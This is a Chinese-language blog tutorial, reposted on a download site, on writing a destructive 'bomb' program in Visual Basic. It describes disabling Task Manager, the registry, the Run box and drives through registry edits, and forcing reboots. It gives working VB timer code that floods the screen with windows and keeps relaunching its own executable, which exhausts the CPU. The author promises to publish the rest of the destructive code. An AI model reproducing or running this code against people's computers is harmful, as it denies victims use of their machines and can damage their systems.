http://hi.baidu.com/mythvista Myth'blog 本人QQ不喜欢加人了 有什么事情就去博客

欢迎大家来到我的blog 做客

今天给大家带来一个关于VB编程的教程

用VB编写蓝屏大叔的教程。

一、弹要实现的功能

既然是炸弹，那当然要写的厉害些，首先就要像很久以前那个网页炸弹一样，弹出无数个窗口，这个功能是给别人打马虎眼的，让他一心想着去阻止炸弹继续的弹出窗口；第二个功能是专门针对windows XP而做的，当然也是在2004年第12期黑防杂志上看到的---自动重启计算机（如图1），

那么下一项就是让每一个人都感到郁闷的事---修改注册表。我今天教大家写的炸弹实现的功能大部分还是靠注册表，主要的功能还是要禁止中招的人打开任务管理器，禁止使用注册表，隐藏桌面所有图标，禁止使用开始菜单里面的运行，搜索，关机，屏蔽ctrl+alt+del里的内容，禁止使用IE浏览器里的所有属性，屏蔽C盘，D盘等盘，这样的结果看上去一定很可怕，如果我们屏蔽右键或者加那么一点点的代码设成开机自动运行，那后果会是什么样的就可想而知了吧？

因为是具有破坏性的东西
我就不一一的讲解了。

像什么修改注册表了。
反复重新启动计算机了。
屏蔽硬盘了。。 这些东西就不给大家做演示了。 对自己的PC不好。

二、代码实现 打开VB

下面让我们打开VB编译器，在窗体上面加3个timer控件，然后Interval属性设得尽量小点，该属性1000为1秒，我的设成了6，这样在一秒就会谈出上百个窗口了。

实现代码如下：

Private Sub Timer1_Timer（）

Dim a As New Form1 ‘声明以后出现a就是代表Form1

a.Show ‘Form1弹出

End Sub

Private Sub Timer2_Timer（）

Shell App.EXEName ‘运行这个软件的本身

End Sub

这样就基本的好了。 由于是破坏性的东东。 我就不美化了
现在看威力如何吧

大家也看到了吧。 一旦打开这个小东西。 攻击力是很大的
它还会浪费你的CPU。让你的系统变慢。 16.0 KB (16,384 字节) 只有16KB 就有如此大的威力 我也不在测试了。 要是在点的话， 教程就做不下去了

教程就到这里。 有什么事情去我的博客留言

欢迎喜欢研究编程技术的朋友们。

代码会打包。 还有这个教程中用到的其他带有破坏性的代码。我都会发布在我的blog里

就是这个拉。。

• [VIP专用软件 - 电信高速下载][非高级会员不可下载]
• [VIP专用软件 - 双线高速下载][非高级会员不可下载]

• ☉ Delphi编程教学系列（新世纪网安基地VIP教程）
• ☉ virtualpc中的linux如何连上Internet
• ☉ ProE 2.0安装视频
• ☉ 学会利用系统自身资源
• ☉ JSP开发之一Servlet基础
• ☉ 内网架设DNS服务器详解
• ☉ 心动吧桌面图之serv-U反弹
• ☉ 小解TTL的妙用
• ☉ 免费的网络电脑
• ☉ 略施小计吓跑不怀好意的菜鸟

• ☉ 由于私服程序的特殊性，它非常容易被杀毒误报，所以自2011年1月起本站所有软件都不在做杀毒查杀，请下载后自行检测查杀！
• ☉ 为了达到最快的下载速度，推荐使用 迅雷5 下载本站软件。
• ☉ 本站软件均为WinRAR3.7版本压缩，所以请一定升级到WinRAR3.7或最新版才能正常解压本站提供的软件!
• ☉ 如果您发现下载链接错误，或内容与分类不匹配，请点击报告错误。正确报错10个我们将送您VIP会员！
• ☉ 如发现本站软件需要解压密码，均为：www.9876543210sf.com